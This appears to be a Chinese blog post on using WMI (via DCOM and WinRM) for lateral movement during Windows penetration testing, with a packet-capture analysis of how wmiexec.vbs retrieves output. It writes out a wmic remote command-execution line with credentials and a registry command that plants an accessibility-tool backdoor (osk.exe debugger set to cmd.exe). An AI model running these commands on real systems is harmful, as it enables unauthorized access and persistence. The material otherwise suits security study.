zoukankan      html  css  js  c++  java
  • 了解WMI

    什么叫WMI?

    Windows管理规范(WMI)是Windows管理功能,它为本地和远程访问Windows系统组件提供了统一的环境。
    它依赖于WMI服务进行本地和远程访问,并依赖于服务器消息块(SMB)和远程过程调用服务(RPCS)进行远程访问。
    RPCS通过端口135运行。

    wmi的类和命名空间怎么理解?

    操作系统信息是通过WMI对象的方式表示的。一个WMI对象也就是一个WMI类的实例。
    大多数常用的WMI类在MSDN中都有详细的描述,如Win32_Process类。然而还有很多WMI类并没有文档可查,
    但是幸运的是,我们可以通过WQL来查询所有的WMI类。 与传统的面向对象编程语言相似,WMI类被分类分层的放在命名空间中。所有的命名空间都是从ROOT命名空间下的,
    当不指定命名空间进行查询时,Microsoft会使用ROOTCIMV2作为默认的命名空间。 所有的WMI设置,包括默认命名空间在下面的注册表键中: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWBEM

     wmi强大在哪里?相比psexec

    WMI的强大体现在通过远程操作的时候。目前,WMI支持两种协议:DCOM和WinRM,使用这两种协议可以做任何事情,包括查询对象,注册事件和执行WMI类的方法,等等。
    
    两种协议都对攻击者有利,因为防御者通常不会检查这两种协议的恶意流量。利用WMI所需的东西就是可用的有权限的用户凭证。在Linux平台上的wmis-pth工具中,只需要提供被攻击者的用户哈希即可。
    
    DCOM (Distributed Component Object Model)
    从WMI被引入的时候起,DCOM就被当作默认协议。DCOM通过135端口建立TCP连接,后续的数据交换则通过随机选择的TCP端口传输。这个端口可以通过dcomcnfg.exe进行配置和修改,其最终是改动如下注册表项:
    
    HKEY_LOCAL_MACHINESoftwareMicrosoftRpcInternet - Ports (REG_MULTI_SZ)
    
    所有的PowerShell中内置的WMI命令都使用DCOM协议。
    
    PS C:UsersMichaelDesktop> Get-WmiObject -Class Win32_Process -ComputerName WIN-Q4UUJ0BPKL9 -Credential 'WIN-Q4UUJ0BPKL9Administrator'
    WinRM (Windows Remote Management)
    近来,WinRM已经超过了DCOM,被Windows当作建议使用的协议。WinRM基于Web Services-Management (WSMan)规范,是一个SOAP-based设备管理协议。另外,PowerShell Remoting也是基于WinRM规范的,这使得我们能够通过PowerShell在大规模Windows企业环境中实现强大的远程管理功能。WinRM同样支持WMI,或者说CIM的网络操作。
    
    默认情况下,WinRM服务开启并监听5985/tcp端口,而且默认是加密的。还可以通过配置证书的方式在5986/tcp端口实现HTTPS支持。
    

    我们是如何通过wmi横向的呐?,又是如何获取输出的结果的

    wmi横向执行命令

    C:UsersAdministratorDesktopPSTools>wmic /node:192.168.1.101 /user:administra
    tor /password:123456 process call create "cmd.exe /c calc.exe"
    Executing (Win32_Process)->Create()
    Method execution successful.
    Out Parameters:
    instance of __PARAMETERS
    {
            ProcessId = 2732;
            ReturnValue = 0;
    };

     

    wmi修改注册表添加后门

    wmic /authority:”kerberos:Domainuser” /node:SQL01 process call create ‘reg.exe add “HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe” /v Debugger /t REG_SZ /d C:windowssystem32cmd.exe”’
    

     我们通过wireshark的流量包不难分析出wmic执行命令的过程

    1进行NTML认证
    2由于没有指定命名空间所以使用ROOTCIMV2作为默认的命名空间。
    3调用Win32_Process类中静态方法Create创建进程
    

     但是这样的结果是不能被我们看见的

    github上面有一款有回显的wmicexec.vbs

    我们继续查看流量看他是如何获取回显的

    https://github.com/Twi1ight/AD-Pentest-Script
    

     第一步建立ipc$

     然后新建了一个共享叫

    然后新建一个叫wmi.dll的文件在此共享目录下面

    从这里的数据分析不难看出创建的服务是我们要执行的命令输出到wmi.dll

     

    读取完成后再删除wmi.dll

     此过程完全流量透明很容易被ids侦察出来。(后续会思考如何加密流量)

    参考

    https://www.cnblogs.com/-qing-/p/11374136.html
    https://m0nst3r.me/pentest/%E5%88%A9%E7%94%A8WMI%E6%9E%84%E5%BB%BA%E4%B8%80%E4%B8%AA%E6%8C%81%E4%B9%85%E5%8C%96%E7%9A%84%E5%BC%82%E6%AD%A5%E7%9A%84%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8.html
    https://sapsan.eth.link/hacktricks/windows/ntlm/wmicexec/
    https://dmcxblue.gitbook.io/red-team-notes/execution/windows-management-instrumentation-wmi
    
  • 相关阅读:
    JDK介绍
    选择器——过滤选择器——内容过滤器
    选择器——过滤选择器——基本过滤器
    选择器——层次选择器
    选择器——基本选择器
    jQuery 对象转成 DOM 对象
    dom转换成jquery对象
    Android-bindService本地服务-初步-Service返回对象
    Android-bindService本地服务-初步
    Android-Service生命周期
  • 原文地址:https://www.cnblogs.com/-zhong/p/14594496.html
Copyright © 2011-2022 走看看